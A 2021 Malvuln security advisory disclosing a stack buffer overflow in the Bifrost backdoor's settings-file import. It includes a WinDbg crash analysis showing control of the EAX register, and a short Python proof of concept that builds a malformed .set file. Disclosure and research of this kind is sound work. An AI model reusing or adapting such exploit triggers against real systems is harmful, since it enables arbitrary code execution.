Wednesday, July 28, 2021

Backdoor.Win32.Bifrose.acci Buffer Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/611dbff0d68df777c6d6881e00440143.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Bifrose.acci
Vulnerability: Local Stack Buffer Overflow
Description: Bifrost doesn't properly validate the IP address when importing Bifrost settings (.set) files. The IP address offset is located after a NULL byte which is preceded by the Bifrost file header "BifrostSettings". A corrupted Bifrost .set file containing an invalid IP address of about 2300 bytes will trigger a local stack buffer overflow overwriting the EAX register. EAX register typically stores return values from functions. This can allow an attacker to control program execution flow resulting in arbitrary code execution.
Type: PE32
MD5: 611dbff0d68df777c6d6881e00440143
Vuln ID: MVID-2021-0308
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 07/26/2021

Memory Dump:
(12b0.7f8): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=00186a30 edx=002db000 esi=00000003 edi=00000003
eip=7777ed3c esp=00184d00 ebp=00184e90 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200216
ntdll!ZwWaitForMultipleObjects+0xc:
7777ed3c c21400 ret 14h

0:000> .ecxr
eax=41414141 ebx=00186a30 ecx=00186a30 edx=002db000 esi=00186a30 edi=00000000
eip=0044d008 esp=0018563c ebp=00185680 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202
*** WARNING: Unable to verify checksum for Backdoor.Win32.Bifrose.acci.611dbff0d68df777c6d6881e00440143.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Bifrose.acci.611dbff0d68df777c6d6881e00440143.exe
Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143+0x4d008:
0044d008 ff90f4000000 call dword ptr [eax+0F4h] ds:002b:41414235=????????

0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************


FAULTING_IP:
Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143+4d008
0044d008 ff90f4000000 call dword ptr [eax+0F4h]

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0044d008 (Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143+0x0004d008)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414235
Attempt to read from address 41414235

PROCESS_NAME: Backdoor.Win32.Bifrose.acci.611dbff0d68df777c6d6881e00440143.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000000

EXCEPTION_PARAMETER2: 41414235

READ_ADDRESS: 41414235

FOLLOWUP_IP:
Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143+4d008
0044d008 ff90f4000000 call dword ptr [eax+0F4h]

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

FAULTING_THREAD: 000007f8

BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER: from 004044aa to 0044d008

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
00185680 004044aa 00000000 001862b0 004029b1 Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143+0x4d008
0018568c 004029b1 bb58b0d6 00186884 0000048c Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143+0x44aa
001862b0 00000000 00000000 00000000 00000000 Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143+0x29b1


STACK_COMMAND: ~0s; .ecxr ; kb

SYMBOL_STACK_INDEX: 0

SYMBOL_NAME: Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143+4d008

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143

IMAGE_NAME: Backdoor.Win32.Bifrose.acci.611dbff0d68df777c6d6881e00440143.exe

DEBUG_FLR_IMAGE_TIMESTAMP: 4775164b

FAILURE_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Bifrose.acci.611dbff0d68df777c6d6881e00440143.exe!Unknown

BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141_Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143+4d008


Exploit/PoC:
1) To create the corrupt bifrost .set file you need the "BifrostSettings" header followed by a NULL byte followed by the payload. Otherwise, will get not a valid settings file error.

import struct

f=open('DOOM.set', 'wb')
f.write("BifrostSettings".encode('ascii'))
f.write(struct.pack('B', 0))
f.write(str("A"*2300).encode('ascii'))
f.close()

2) Go to builder menu item in bifrost, stealth tab
3) Import the corrupt bifrost .set (settings) file.


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Thanks for everything Templateism - You should have written the code a little more complicated